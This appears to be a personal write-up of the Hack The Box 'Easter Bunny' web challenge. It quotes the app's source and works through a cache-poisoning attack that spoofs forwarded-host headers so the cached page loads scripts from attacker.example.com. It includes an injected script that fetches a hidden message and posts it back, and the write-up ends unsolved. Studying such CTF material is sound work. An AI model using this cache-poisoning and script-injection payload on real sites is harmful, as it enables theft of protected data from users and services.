Easter Bunny Cache Poisoning HTB

Related to Cyber Security,

#htb

File :
EasterBunny.zip

Identify The Vulnerabilty

How i know this is cache poisoning?, we can see in the source. in the file use base url from :

<base href="{{cdn}}" />
app.set('trust proxy', process.env.PROXY !== 'false');

the goal was pass into this statement

// isAdmin is this
const isAdmin = (req, res) => {
  return req.ip === '127.0.0.1' && req.cookies['auth'] === authSecret;
};

 if (message.hidden && !isAdmin(req))
            return res.status(401).send({
                error: "Sorry, this letter has been hidden by the easter bunny's helpers!",
                count: count
            });

so we can get the flag in

 async migrate() {
        return this.db.exec(`
            DROP TABLE IF EXISTS messages;

            CREATE TABLE IF NOT EXISTS messages (
                id         INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT,
                message   VARCHAR(300) NOT NULL,
                hidden    INTEGER NOT NULL
            );

            INSERT INTO messages (id, message, hidden) VALUES
              (1, "Dear Easter Bunny,\nPlease could I have the biggest easter egg you have?\n\nThank you\nGeorge", 0),
              (2, "Dear Easter Bunny,\nCould I have 3 chocolate bars and 2 easter eggs please!\nYours sincerly, Katie", 0),
              (3, "Dear Easter Bunny, Santa's better than you! HTB{f4k3_fl4g_f0r_t3st1ng}", 1),
              (4, "Hello Easter Bunny,\n\nCan I have a PlayStation 5 and a chocolate chick??", 0),
              (5, "Dear Ester Bunny,\nOne chocolate and marshmallow bunny please\n\nLove from Milly", 0),
              (6, "Dear Easter Bunny,\n\nHow are you? Im fine please may I have 31 chocolate bunnies\n\nThank you\nBeth", 0);
            `);
    }

The Exploit

So we know that we can spoof the req.hostname because trust proxy set to false


router.get("/", (req, res) => {
    return res.render("index.html", {
        cdn: `${req.protocol}://${req.hostname}:${req.headers["x-forwarded-port"] ?? 80}/static/`,
    });
});

router.get("/letters", (req, res) => {
    return res.render("viewletters.html", {
        cdn: `${req.protocol}://${req.hostname}:${req.headers["x-forwarded-port"] ?? 80}/static/`,
    });
});

but we can spoof and get cached by varnice cache system

Pasted image 20240208165915.png

So my idea was creating a local server to cached and get the flag

!-- <link href="main.css" rel="stylesheet" /> -->
<link href="http://attacker.example.com/main.css" rel="stylesheet" />

<!-- <script src="viewletter.js"></script> -->
<script src="http://attacker.example.com/viewletter.js"></script>

The contents of the viewletters.js file on the attacker's server were created as follows.

fetch("http://127.0.0.1:80/message/3").then((r) => {
    return r.text();
}).then((x) => {
    fetch("http://127.0.0.1:80/submit", {
        "headers": {
            "content-type": "application/json"
        },
        "body": x,
        "method": "POST",
        "mode": "cors",
        "credentials": "omit"
    });
});

Host the server :
Pasted image 20240208173027.png

After that we put into payload in x-forwarded-host 3

not solved